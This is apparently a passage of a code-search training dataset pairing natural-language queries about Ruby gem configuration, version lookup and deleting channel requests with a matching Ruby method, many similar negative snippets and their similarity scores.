"def create_or_update_record(hsh)\n\n hsh.merge!(config[:strong_default_attrs]) if config[:strong_default_attrs]\n @record ||= data_class.find(:first, :conditions => {data_class.primary_key => hsh.delete(data_class.primary_key)}) # only pick up the record specified in the params if it was not provided in the configuration\n success = true\n\n @record = data_class.new if @record.nil?\n\n hsh.each_pair do |k,v|\n @record.set_value_for_attribute(fields[k.to_sym].nil? ? {:name => k} : fields[k.to_sym], v)\n end\n\n #hsh.each_pair do |k,v|\n #begin\n #@record.send(\"#{k}=\",v)\n #rescue StandardError => exc\n #flash :error => exc.message\n #success = false\n #break\n #end\n #end\n\n # did we have complete success?\n success && @record.save\n end",
"def save\n if new_record?\n create\n else\n update\n end\n end",
"def save\n\t\treturn false unless self.modified? || self.new?\n\t\tif self.new?\n\t\t\tself.insert\n\t\telse\n\t\t\tself.update\n\t\tend\n\tend",
"def find_or_create(model, hash)\n model.send(:where, hash).last || model.send(:create, hash)\n end",
"def update\n\t\t# Left empty intentionally.\n\tend",
"def create; end",
"def create; end",
"def create; end",
"def create; end",
"def find_or_create(*args, &block)\n find_or_initialize_and_do :save, *args, &block\n end",
"def _create\n true\n end",
"def create\n upsert do\n # NOTE: create!() is not used because assign to @record to draw form.\n # Otherwise, @record would be in nil so failure at edgarj/_form rendering.\n #\n # NOTE2: valid? after create() calls validate_on_update. This is not\n # an expected behavior. So, new, valid?, then save.\n @record = model.new(permitted_params(:create))\n @record_saved = @record # copy for possible later use\n on_upsert\n #upsert_files\n raise ActiveRecord::RecordNotSaved if !@record.valid?\n @record.save\n\n # clear @record values for next data-entry\n @record = model.new\n end\n end",
"def sneaky_save!\n sneaky_create_or_update\n end",
"def update\n\t\tfalse\n\tend",
"def save!(**options, &block)\n create_or_update(**options, &block) || raise(RecordNotSaved.new(\"Failed to save the record\", self))\n end",
"def find_or_create_by(attributes)\n find_by(attributes) || create(attributes)\n end",
"def save\n #you're looking to see if theres been anything inserted or updated and\n #based on that you decide how to store the instance\n if persisted?\n update\n #if instance exists ... data inserted will need to 'update'\n else\n insert\n #if instance does not already exist data inserted will have be 'insert'\n end\n end",
"def update_or_create(attributes)\n if user.nil?\n create_user(attributes)\n else\n user.update_attributes(attributes)\n end\n user\n end",
"def save\n if persisted?\n update\n else\n create\n end\n end",
"def find_or_create(owner_class, *args, &block); end",
"def create_or_update_with_paranoid\n self.class.disable_paranoid { create_or_update_without_paranoid }\n end",
"def persisted?; end",
"def persisted?; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def save\n if persisted?\n update\n else\n create\n end\n true\n end",
"def save\n old = self.class::find_by_name(self.name)\n if old\n logger.debug { \"existed!\" }\n self.id = old.id\n self.created_at = old.created_at\n self.updated_at = old.updated_at\n return true\n else\n super\n end\n end",
"def updated?() updated.present?; end",
"def update(...)\n end",
"def create?\n false\n end"
] |
[
"0.81713086",
"0.81713086",
"0.81512535",
"0.7520768",
"0.7459172",
"0.74160856",
"0.7342664",
"0.7342664",
"0.7342664",
"0.73213065",
"0.70959055",
"0.709103",
"0.70824456",
"0.7055663",
"0.70391387",
"0.6947198",
"0.6946821",
"0.69423205",
"0.68895113",
"0.6887544",
"0.6868229",
"0.6860503",
"0.6853885",
"0.6817655",
"0.6817655",
"0.6817655",
"0.6817655",
"0.6805082",
"0.6805082",
"0.6799878",
"0.679751",
"0.67944336",
"0.6780344",
"0.6752332",
"0.67509264",
"0.6723884",
"0.67179143",
"0.6705394",
"0.6696932",
"0.6696932",
"0.6696932",
"0.667927",
"0.667927",
"0.66678065",
"0.66499346",
"0.66253287",
"0.659418",
"0.6562101",
"0.6524926",
"0.6520748",
"0.6513347",
"0.6502953",
"0.64645153",
"0.6458396",
"0.6456587",
"0.6455859",
"0.6417586",
"0.6396195",
"0.63853955",
"0.63562346",
"0.6352375",
"0.63426834",
"0.6314912",
"0.62883496",
"0.6288029",
"0.62851006",
"0.62744933",
"0.62676144",
"0.6234068",
"0.6232662",
"0.6232662",
"0.6232662",
"0.6232662",
"0.62298465",
"0.62010956",
"0.6197954",
"0.6193148",
"0.618922",
"0.61884123",
"0.61877406",
"0.6186677",
"0.61866486",
"0.61227584",
"0.6119591",
"0.608718",
"0.6084196",
"0.6084196",
"0.6078886",
"0.6078886",
"0.6078886",
"0.6078886",
"0.6078886",
"0.6078886",
"0.6078886",
"0.6078886",
"0.605535",
"0.6044148",
"0.60283226",
"0.6012848",
"0.6012302"
] |
0.60693043
|
95
|
Allows the gem to be configured
|
def configure
yield(config) if block_given?
config
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def configure; end",
"def install_gem; end",
"def gemspec?; end",
"def require_gems; end",
"def setup_config\n # To be Extended\n end",
"def gemspec; end",
"def gemspec; end",
"def gemspec; end",
"def gemspec; end",
"def gemspec; end",
"def gemspec; end",
"def gemspec; end",
"def gemspec; end",
"def activate!\n # Create the configuration object for the plugin.\n Pry.config.send(\"#{gem_name.gsub('-', '_')}=\", OpenStruct.new)\n\n begin\n require gem_name if !active?\n rescue LoadError => e\n warn \"Found plugin #{gem_name}, but could not require '#{gem_name}'\"\n warn e\n end\n\n self.active = true\n self.enabled = true\n end",
"def load_gem_plugins; end",
"def add_gem_paths; end",
"def setup\n @configure = Hatemile::Util::Configure.new\n end",
"def configure\n end",
"def plugin_setup!; end",
"def require!\n super do\n gem @gem_name, @version if @version\n end\n end",
"def configured?; false; end",
"def gem_config(*names)\n options = names.extract_options!\n options[:type] ||= :memory\n config = {}\n names << :simple if names.empty?\n names.each{|n| config.merge!(send(\"#{n}_config\")) }\n config.merge!(send(\"#{options[:type]}_config\"))\n Storehouse.set_spec(config)\n end",
"def setup_gem(name, options)\n version = [options[:version]].compact\n lib_name = options[:lib] || name\n\n log \"activating #{name}\"\n\n Gem.activate(name, *version)\n require(lib_name)\n\n rescue LoadError\n\n install_gem(name, options)\n Gem.activate(name, *version)\n require(lib_name)\n end",
"def configure\n send_command \"--configure\"\n end",
"def setup_gem(name, options)\n version = [options[:version]].compact\n lib_name = options[:lib] || name\n\n log \"activating #{name}\"\n\n Gem.activate(name, *version)\n rescue Gem::LoadError\n log \"activating #{name} failed, try to install\"\n\n install_gem(name, version, options)\n end",
"def gem(name, options = {})\r\n log 'gem', name\r\n env = options.delete(:env)\r\n\r\n gems_code = \"config.gem '#{name}'\"\r\n\r\n if options.any?\r\n opts = options.inject([]) {|result, h| result << [\":#{h[0]} => #{h[1].inspect.gsub('\"',\"'\")}\"] }.sort.join(\", \")\r\n gems_code << \", #{opts}\"\r\n end\r\n\r\n environment gems_code, :env => env\r\n end",
"def build_gem; end",
"def gemspec_helper; end",
"def gemspec_helper; end",
"def gemspec_helper; end",
"def gemspec_helper; end",
"def gemspec_helper; end",
"def gemspec_helper; end",
"def install\r\n super\r\n automated_install {\r\n @local_gems.flush_gem_cache\r\n gem_name = @override_gem_name.nil? ? installed_as_name_for( self.gem_short_name ) : @override_gem_name\r\n installed_gem = @local_gems.find( gem_name )\r\n fails_to_load gem_name if installed_gem.nil?\r\n installed_gem.activate\r\n }\r\n end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def configure(&block); end",
"def configure(&block); end",
"def gemspec=(_arg0); end",
"def gemspec=(_arg0); end",
"def gemspec=(_arg0); end",
"def gemspec=(_arg0); end",
"def gemspec=(_arg0); end",
"def gemspec=(_arg0); end",
"def gemspec=(_arg0); end",
"def gems; end",
"def gems; end",
"def gems; end",
"def configure\n # do nothing\n end",
"def config\n\n end",
"def gemfile; end",
"def gemfile; end",
"def gemfile; end",
"def gemfile; end",
"def gemfile; end",
"def gemfile; end",
"def use_all_there_gem=(value)\n logger.debug(\"Setting use_all_there_gem to #{value}\")\n @use_all_there_gem = value\n end",
"def install!\n include_recipe 'zypper'\n super\n end",
"def gemspecs; end",
"def valid_gemspec?; end",
"def setup\n super\n handle_packages\n end",
"def gemspec_helper=(_arg0); end",
"def gemspec_helper=(_arg0); end",
"def gemspec_helper=(_arg0); end",
"def gemspec_helper=(_arg0); end",
"def gemspec_helper=(_arg0); end",
"def gemspec_helper=(_arg0); end",
"def gemspec_helper=(_arg0); end",
"def post_install; end",
"def app_configured?; end",
"def install\n \n end",
"def initialize_mixlib_config\n super\n end",
"def gem(gemname)\n if Gem.loaded_specs[gemname]\n require gemname.gsub(/-/, '/')\n path = \"#{Gem.loaded_specs[gemname].lib_dirs_glob.split(':')[0]}/\" \\\n \"#{gemname.gsub(/-/, '/')}/plugin.rb\"\n if File.exist? path\n pl = pluginr(path)\n raise ProtonBot::PluginError, \"`#{path}` did not return plugin!\" unless\n pl.instance_of? ProtonBot::Plugin\n @parr << pl\n else\n raise IOError, \"No such file or directory: #{path}\"\n end\n else\n raise ArgumentError, \"No such gem: #{gemname}\"\n end\n self\n end",
"def configure_manager\n end",
"def integrated\n File.exist?(gemfile)\n end",
"def lybunt_setup\n end",
"def gem(name, *requirements)\n self.class.gems.activate(name, *requirements)\n end",
"def prepare_for_installation; end",
"def add_gems\n gem 'data-confirm-modal', '~> 1.6.2'\n gem 'devise', '~> 4.4.3'\n gem 'devise-bootstrapped', github: 'excid3/devise-bootstrapped', branch: 'bootstrap4'\n gem 'devise_masquerade', '~> 0.6.0'\n gem 'font-awesome-sass', '~> 4.7'\n gem 'gravatar_image_tag', github: 'mdeering/gravatar_image_tag'\n gem 'jquery-rails', '~> 4.3.1'\n gem 'bootstrap', '~> 4.0.0.beta'\n gem 'webpacker', '~> 3.0'\n gem 'foreman', '~> 0.84.0'\n gem_group :development, :test do\n gem 'rspec-rails', '~> 3.6.0'\n gem \"factory_bot_rails\", \"~> 4.10.0\"\n gem 'spring-commands-rspec'\n end\n\n gem_group :test do\n gem 'shoulda-matchers', '~> 3.1'\n end\nend",
"def package_setup\n raise NotImplementedError\n end",
"def configure!\n yield self\n setup\n end",
"def load_minimal_gems\r\n end",
"def pluggable!\n abort \"update rubygems to >= 1.3.1\" unless Gem.respond_to? :find_files\n require_rubygems_version \">= 1.3.1\"\n end",
"def gemspec_building_block; end",
"def gem_dir # :nodoc:\n super\n end"
] |
[
"0.6814476",
"0.66954845",
"0.66918427",
"0.66785383",
"0.6674751",
"0.6632062",
"0.6632062",
"0.6632062",
"0.6632062",
"0.6632062",
"0.6632062",
"0.6632062",
"0.6632062",
"0.662885",
"0.66278076",
"0.6542451",
"0.6458468",
"0.6432698",
"0.6419545",
"0.641434",
"0.6381914",
"0.6341958",
"0.625627",
"0.6236481",
"0.6225296",
"0.6154084",
"0.6151046",
"0.61475605",
"0.61475605",
"0.61475605",
"0.61475605",
"0.61475605",
"0.61475605",
"0.6140198",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61327434",
"0.61224926",
"0.61224926",
"0.61206174",
"0.61206174",
"0.61206174",
"0.61206174",
"0.61206174",
"0.61206174",
"0.61206174",
"0.6113641",
"0.6113641",
"0.6113641",
"0.6071428",
"0.6067946",
"0.60643613",
"0.60643613",
"0.60643613",
"0.60643613",
"0.60643613",
"0.60643613",
"0.6025864",
"0.6003404",
"0.5994139",
"0.5983072",
"0.59793484",
"0.5962048",
"0.5962048",
"0.5962048",
"0.5962048",
"0.5962048",
"0.5962048",
"0.5962048",
"0.59461564",
"0.593932",
"0.5904703",
"0.5904107",
"0.59032124",
"0.5899388",
"0.5884237",
"0.58810896",
"0.5865653",
"0.58639485",
"0.5859965",
"0.58494043",
"0.58385926",
"0.58167",
"0.5810469",
"0.57981056",
"0.5785526"
] |
0.0
|
-1
|
The current version of the gem
|
def version
VERSION
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def current_version\n @version\n end",
"def current_version\n version_number rev\n end",
"def gem_version; end",
"def gem_version; end",
"def gem_version; end",
"def gem_version; end",
"def gem_version; end",
"def gem_version; end",
"def current_version\n versions.first\n end",
"def gem_version\n Gem::Version.new VERSION\n end",
"def version\n @gemspec.version || @version_helper.to_s\n end",
"def version\n VERSION\n end",
"def gem_version\n ::Gem::Version.new(VERSION::STRING)\n end",
"def version\n VERSION\n end",
"def full\n @version\n end",
"def version\n resolved_version\n end",
"def get_version\n\t\tend",
"def version\n @version\n end",
"def current_version\n self._version ||= 0\n end",
"def get_version()\n\t\tend",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n @version ||= create_version\n end",
"def version\n return last_version if versionable?\n version_number\n end",
"def version\n @version ||= '1.0'\n end",
"def current_version\n versions.current_versions.first\n end",
"def version\n '1.5.1.2' # Version number <major>.<minor>.<patch>.<monthly commit>\n end",
"def version\n @__version\n end",
"def version\n puts \"v0.3\"\n end",
"def get_version\n request('getVersion')\n end",
"def version\n @version_helper.to_s\n end",
"def version\n @version_helper.to_s\n end",
"def version\n @version ||= '1.0'\n end",
"def version\n \"0.2.0\"\n end",
"def version\n '2.0.7.7' # Version number <major-update>.<minor-update>.<patch-update>.<commit-count>\n end",
"def version\n @version || 0\n end",
"def version\n\t\treturn @version ||= self.find_version\n\tend",
"def version\n @version ||= File.read(path('version.txt')).strip\n end",
"def version\n build_string\n end",
"def version\n next_version\n end",
"def getVersion\r\n\t\t\t\t\treturn @version\r\n\t\t\t\tend",
"def version\n @version ||= if token.nil? || Array(packages).empty?\n '0.1.0'\n else\n packages.map do |p|\n Gem::Version.new(p['version'])\n end.sort.last.bump.to_s << '.0'\n end\n end",
"def version\n @version ||= __determine_version\n end",
"def v string\n Gem::Version.create string\n end",
"def v string\n Gem::Version.create string\n end",
"def version\n @version ||= File.read(path('version.txt')).strip\n end",
"def version\n self.class.name + ' ' + VERSION\n end",
"def version\n @version.dup\n end",
"def version\n @version.dup\n end",
"def current_version\r\n version = File.read(\"VERSION\").strip\r\n fail \"Invalid version information\" unless version =~ /\\./\r\n version\r\nend",
"def version\n return @version if defined?(@version)\n \n @version = JSON.parse(File.read('package.json'))['version']\nend",
"def version\n @spec.version\n end",
"def version\n self.class.get(\"/get/version\")\n end",
"def versionString()\n\t\t\t\treturn \"#{major}.#{minor}.#{build}\"\n\t\t\tend",
"def version\n read_property 'Version'\n end",
"def version\n @version ||= config(\"version\", \"0.0.1\")\n end",
"def version\n @version ||= data.version\n end",
"def version\n path = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__\n dir = File.dirname(path)\n if File.exist?(dir+'/version.stamp')\n version = File.read(dir+'/version.stamp')\n else\n version = \"Unknown version\"\n end\n version\n end",
"def version\n self[:version]\n end",
"def version\n api_execute('/version', :get).body\n end",
"def version\n self.class.version\n end",
"def version\n @version ||= version_hex.to_s(16).chars.entries.join('.')\n end",
"def version\n 0\n end",
"def version\n version_file = File.join(RAILS_ROOT, \"config\", \"version.ini\")\n current_version = if File.exists? version_file\n File.read(version_file)\n else\n \"0.0.1\"\n end\n current_version.strip\n end",
"def version\n case @version\n when Module\n \"#{@version::Major}.#{@version::Minor}.#{@version::Release}\"\n when Proc # not sure about this\n @version.call\n when NilClass\n 'unknown'\n else\n @version\n end\n end",
"def version(arg = nil)\n set_or_return(:version, arg, kind_of: String, default: 'latest')\n end",
"def version(arg = nil)\n set_or_return(:version, arg, kind_of: String, default: 'latest')\n end",
"def full_version\n return nil unless exact\n\n \"~> \".concat(version)\n end",
"def version\n cmd(COMMANDS[:version], 2)\n end",
"def version\n \"Version: #{VERSION.split[1]} Created on: \" +\n \"#{REVISION_DATE.split[1]} by #{AUTHOR}\"\n end",
"def version\n \"Version: #{VERSION.split[1]} Created on: \" +\n \"#{REVISION_DATE.split[1]} by #{AUTHOR}\"\n end",
"def version\n \"Version: #{VERSION.split[1]} Created on: \" +\n \"#{REVISION_DATE.split[1]} by #{AUTHOR}\"\n end",
"def version_number\n @version\n end",
"def version\n [@major_version, @minor_version].join('.')\n end",
"def version\n return call('Bugzilla.version')\n end",
"def version\n echo_rosh_command\n\n @version ||= adapter.current_version\n end",
"def version\n\t\t\tbegin\n\t\t\t\tv = \"#{GVB.major_version}.#{GVB.minor_version}.#{GVB.patch_version}\"\n\t\t\trescue\n\t\t\t\tv = File.read(\".gvb_version\") if File.exists?(\".gvb_version\")\n\t\t\tend\n\t\t\t# If we got a version then use it to construct a link to the github tag of the same\n\t\t\tif v\n\t\t\t\tl = link_to v, \"https://github.com/machiavellian/machiavelli/releases/tag/v#{v}\", target: \"blank\" if v\n\t\t\t\treturn \"version #{l} \".html_safe\n\t\t\tend\n\t\tend",
"def version\n spec.version\n end",
"def version\n versions.last.miq_semver.split(\".\").first + \".0.0\"\n end",
"def version\n version_property ? version_property.ruby_value : nil\n end",
"def version\n 1\n end",
"def version\n data.version\n end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end",
"def version; end"
] |
[
"0.8402233",
"0.8285564",
"0.81663257",
"0.81663257",
"0.81663257",
"0.81663257",
"0.81663257",
"0.81663257",
"0.8029159",
"0.7997906",
"0.7979759",
"0.79535353",
"0.7936448",
"0.7897763",
"0.7861538",
"0.7845943",
"0.7814506",
"0.774655",
"0.7740761",
"0.7728233",
"0.77021646",
"0.77021646",
"0.77021646",
"0.77021646",
"0.77021646",
"0.77021646",
"0.77021646",
"0.77021646",
"0.77021646",
"0.76824844",
"0.7674229",
"0.7620556",
"0.76139206",
"0.7601521",
"0.7596356",
"0.7595105",
"0.7586146",
"0.7582114",
"0.7582114",
"0.75718266",
"0.7562105",
"0.7559693",
"0.7545499",
"0.75432557",
"0.75159025",
"0.75135183",
"0.7513425",
"0.7513424",
"0.75096613",
"0.7490825",
"0.74625474",
"0.74625474",
"0.74593663",
"0.7458095",
"0.7438008",
"0.7438008",
"0.74250597",
"0.74084455",
"0.74064636",
"0.73995054",
"0.73969793",
"0.7385776",
"0.73573095",
"0.73560154",
"0.73555315",
"0.73335874",
"0.73274857",
"0.7315454",
"0.73066276",
"0.7277044",
"0.7270821",
"0.7260965",
"0.7249034",
"0.7249034",
"0.7232155",
"0.7222072",
"0.721823",
"0.721823",
"0.72180647",
"0.7213617",
"0.7212513",
"0.7209509",
"0.7196543",
"0.7190184",
"0.7185592",
"0.71821374",
"0.718108",
"0.71759313",
"0.7148044",
"0.71429276",
"0.71429276",
"0.71429276",
"0.71429276",
"0.71429276",
"0.71429276",
"0.71429276",
"0.71429276",
"0.71429276"
] |
0.78463966
|
16
|
Delete any old channel requests (since they were approved)
|
def destroy_channel_request
channel_request = ChannelRequest.where(:user_id => self.subscriber_id, :channel_id => self.channel_id).first
channel_request.destroy unless channel_request.blank?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_requests\n self.requests.each {|request| request.destroy}\n end",
"def delete_old_requests\n Request.where('created_at < ?', Time.now - 15.minutes).delete_all\n end",
"def remove_all_requests\n return if params[:request_ids].blank?\n requests = params[:request_ids].split(',')\n requests.each do |request|\n current_user.delete_request(request)\n end\n end",
"def purge_old_requests(seconds = 60)\n @requests.delete_if {|request_time| request_time < Time.now - seconds}\n end",
"def destroy\n unless @link_request.owned_by(@user)\n logger.error \"#{@user.netid} tried to delete request #{@link_request.id}\"\n return redirect_to link_requests_path, notice: \"You do not have enough access to delete that request\"\n end\n # if @link_request.status == :approved\n @link_request.delete_by(@user)\n # else\n # @link_request.destroy\n Activity.create(user: @user, verb: 'destroy', link_request: @link_request, occurred: Time.now)\n # end\n \n respond_to do |format|\n format.html { redirect_to link_requests_url }\n format.json { head :no_content }\n end\n end",
"def delete_request(req)\n req[:sqs_msg].delete\n end",
"def cancel_request\n\t\tuser = current_user\n\n\t\tassignment = Assignment.find_by(request_id: params[:request_id])\n\t\tuser.accepteds.delete(assignment)\n\t\tpending_status = RequestStatus.find_by(description: \"pending accept\")\n\t\tpending_status.assignments << assignment\n\n\t\tredirect_back fallback_location: '/home'\n\tend",
"def clear_pending\n @async_requests.clear\n nil\n end",
"def clear_all\n clear\n clear_stored_requests\n end",
"def meet_requests_to_remove\n MeetRequest.outdated\n end",
"def delete_all_reactions_unsafe(rate_limit = 0.25)\r\n RestClient.delete(\r\n \"#{Discordrb::API.api_base}/channels/#{self.channel.id}/messages/#{self.id}/reactions\",\r\n Authorization: @bot.token\r\n )\r\n sleep rate_limit\r\n end",
"def delete_all_reactions_unsafe(rate_limit = 0.25)\n RestClient.delete(\n \"#{Discordrb::API.api_base}/channels/#{self.channel.id}/messages/#{self.id}/reactions\",\n Authorization: @bot.token\n )\n sleep rate_limit\n end",
"def delete_all_reactions_unsafe(rate_limit = 0.25)\n RestClient.delete(\n \"#{Discordrb::API.api_base}/channels/#{self.channel.id}/messages/#{self.id}/reactions\",\n Authorization: @bot.token\n )\n sleep rate_limit\n end",
"def request_delivered\n @request = Request_Sample.find(params[:request])\n @request.destroy\n respond_to do |format|\n format.html { redirect_to profiles_path(current_trader.id)}\n format.json { head :no_content }\n end\n end",
"def purge_request(key)\n @queue.each do |identity,worker|\n worker.request_queue.delete key\n end\n end",
"def cancelled_requests\n @cancelled_requests ||= []\n end",
"def destroy\n @request = Request.find(params[:id])\n @request_items = @request.request_items\n @request_items.each do |ri|\n ri.destroy\n end\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end",
"def clean_all\n update\n # Protect all open requests' branches from deletion.\n protected_branches = @current_requests.collect {|request| request.head.ref }\n # Select all branches with the correct prefix.\n review_branches = all_branches.collect do |branch|\n # Only use uniq branch names (no matter if local or remote).\n branch.split('/').last if branch.include?('review_')\n end\n (review_branches.uniq - protected_branches).each do |branch_name|\n # Only clean up obsolete branches.\n delete_branch(branch_name) unless unmerged_commits?(branch_name, false)\n end\n end",
"def destroy\n @chatroom = Chatroom.find(params[:chatroom_id])\n @request = Request.find(params[:request_id])\n @user = User.find(@request.user_id)\n @chatroom.requests.where(user_id: @user.id).destroy_all\n redirect_to chatrooms_path(id: current_user.id)\n end",
"def deleterequests\n assert_privileges(rbac_feature_id(\"miq_request_delete\"))\n\n miq_requests = find_records_with_rbac(MiqRequest, checked_or_params)\n if miq_requests.empty?\n add_flash(_(\"No Requests were selected for deletion\"), :error)\n else\n destroy_requests(miq_requests)\n end\n\n unless flash_errors?\n if @lastaction == \"show_list\" # showing a list\n add_flash(_(\"The selected Requests were deleted\"))\n else\n @single_delete = true\n add_flash(_(\"The selected Request was deleted\"))\n end\n end\n\n if @flash_array.present?\n flash_to_session\n javascript_redirect(:action => 'show_list')\n else\n show_list\n replace_gtl\n end\n end",
"def destroy\n @project = @req.project\n if owner_or_admin_obj? @req, @project #or (current_user.id and @req.user_id == current_user.id) or (@project.sandbox == true and @project.key == session[:project_key])\n @req.runs.map{|r| RunsController.destroy_run_call @req.project, r}\n @req.destroy\n respond_to do |format|\n format.html { redirect_to reqs_url, notice: 'Req was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"def delete\n @channel_control.delete\n end",
"def delete(channels)\n\treturn if not channels.is_a? Array #meh\n\tcurChannels = readCurrentChannels()\n\tcurChannels.reject! { |e| channels.include? e.downcase }\n\twriteChannels(curChannels)\nend",
"def delete_subscriptions\n end",
"def unsubscribe request\r\n return unless @requests.find{|req| req==request }\r\n synchronize do\r\n request.num_subscribes-=1\r\n @requests.delete request\r\n end \r\n end",
"def delete_all(date = Date.today)\n delete(date.strftime(@request_path))\n end",
"def request_cancelled(source, token)\n Transaction.where(community_id: token[:community_id], id: token[:transaction_id]).destroy_all\n end",
"def cancelled_requests; end",
"def delete_empty_changelists\n pending_changelists.each { |changelist|\n changelist.delete\n }\n end",
"def destroy\n request = Request.find_by_id(params[:id])\n if request\n # delete the request and all associated messages and volunteering\n request.destroy\n render json: {\n status: 'success',\n message: 'Request deleted',\n },\n status: :ok\n else\n render status: :unauthorized\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to admin_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_cron_request.destroy\n respond_to do |format|\n format.html { redirect_to admin_cron_requests_url, notice: I18n.t('admin.cron_requests.destroy.message.success') }\n format.json { head :no_content }\n end\n end",
"def purge\n self.files.each do |f|\n f.destroy\n end\n self.commits.each do |c|\n c.destroy\n end\n end",
"def destroy\n scope = Request.where(:user_id => current_user.id)\n\n @request = scope.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @contact = current_user.contacts.find(params[:contact_id])\n @request = @contact.requests.find(params[:id])\n @request.destroy\n @requests = @contact.requests.last_requests\n\n respond_with @request do |format|\n format.html { redirect_to(contact_requests_path) }\n end\n end",
"def destroy_all\r\n Message.destroy_all(channel: @channel)\r\n respond_to do |format|\r\n format.html { redirect_to channel_messages_url(@channel), notice: 'Chat erfolgreich geleert.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n if @team_request.status != \"pending\"\n flash[:notice] = \"could not delete team request.\"\n redirect_to action: \"index\"\n else\n @team_request.destroy\n respond_to do |format|\n format.html { redirect_to team_requests_url, notice: 'Team request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"def purge_old\n @db.execute \"DELETE FROM requests WHERE first_seen < ?\", $config.periodic['purge'].minutes.ago.to_i\n end",
"def destroy\n appointment_request = current_user.pending_requests\n .find(params[:request_id])\n if appointment_request.cancel!\n redirect_to root_path\n else\n render status: 500\n end\n end",
"def destroy\n @subscription_request = SubscriptionRequest.find(params[:id])\n @subscription_request.destroy\n\n respond_to do |format|\n format.html { redirect_to subscription_requests_url }\n format.json { head :ok }\n end\n end",
"def outdated_delete\n outdated.delete_all\n end",
"def deleteRequest\n\n end",
"def destroy\r\n @project_request = ProjectRequest.find(params[:id])\r\n @project_request.delete\r\n \r\n respond_to do |format|\r\n format.html { redirect_to my_requests_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def clean\n puts \"== removing all data from redis ==\"\n submission_keys = redis.lrange(SUBMISSIONS_KEY, 0, -1)\n redis.del(submission_keys) unless submission_keys.empty?\n redis.del(SUBMISSIONS_KEY)\n end",
"def destroy\n @channel = Channel.find(params[:id])\n @channel.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_channels_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n # @messages = Message.where(campaign_id: @campaign.id)\n # @messages.each do |m|\n # m.destroy\n # end\n\n # @customers = Customer.where(campaign_id: @campaign.id)\n # @customers.each do |c|\n # c.destroy\n # end\n puts \"Campaign deleted: #{@campaign.inspect}\" \n\n @campaign.isdisabled = true\n @campaign.save\n\n #@campaign.destroy\n respond_to do |format|\n format.html {\n redirect_to campaigns_url\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invite_request.destroy\n render :index\n\n end",
"def send_email_request_cancelled\n send_email_request_approved\n end",
"def destroy\n @past_request.destroy\n respond_to do |format|\n format.html { redirect_to past_requests_url, notice: 'Past request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_expired_jobs\n ref_ids_in_db = Set.new(Listing.where('ref_id IS NOT NULL').pluck(:ref_id))\n ref_ids_in_feed = Set.new(@ref_id_xpath.map(&:text).map(&:to_i))\n Listing.where(ref_id: (ref_ids_in_db - ref_ids_in_feed).to_a).update_all(\"status = 'expired'\")\n end",
"def abort\n queued_requests.clear\n end",
"def purge!\n redis.keys(scope + \"*\").each do |key|\n redis.del key\n end\n end",
"def destroy\n @channel.destroy\n\n respond_to do |format|\n format.html { redirect_to(channels_url) }\n format.xml { head :ok }\n end\n end",
"def unsubscribe_all_request_hooks\n EasyPost::Hooks.unsubscribe_all(:request)\n end",
"def delete_free_iogroup_channels\n @iogroup = Iogroup.find(params[:iogroup_id])\n @iogroup.iogroupcomponents.each do |iogroupcomponent|\n iogroupcomponent.iochannels.each do |channel|\n channel.destroy!\n end\n end\n\n redirect_to iogroups_path, :notice => 'Freie Kanäle wurden gelöscht'\n end",
"def destroy\r\n @channel.destroy\r\n respond_to do |format|\r\n format.html { redirect_to user_channels_path(current_user)}\r\n end\r\n end",
"def destroy\n @invite_request = InviteRequest.find(params[:id])\n @invite_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(invite_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @channel.destroy\n respond_to do |format|\n format.html { redirect_to channels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n ActiveRecord::Base.transaction do\n Request.find(params[:id]).destroy!\n end\n flash[:notice] = \"Request #{params[:id]} has been removed!\"\n redirect_to requests_path\n end",
"def destroy\n @group_request.destroy\n respond_to do |format|\n format.html { redirect_to group_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #only user can modify \n unless current_user.has_role?(:admin) || current_user.has_role?(:user)\n redirect_to admin_channels_path, alert: \"没有权限\"\n return\n end\n @admin_channel.destroy\n respond_to do |format|\n format.html { redirect_to admin_channels_url }\n format.json { head :no_content }\n end\n end",
"def clear_expired(request)\n entries_for(request)\n .where {|t| t.created_at < Time.now - ttl }\n .delete\n end",
"def revoke\n post('/api/revoke')\n end",
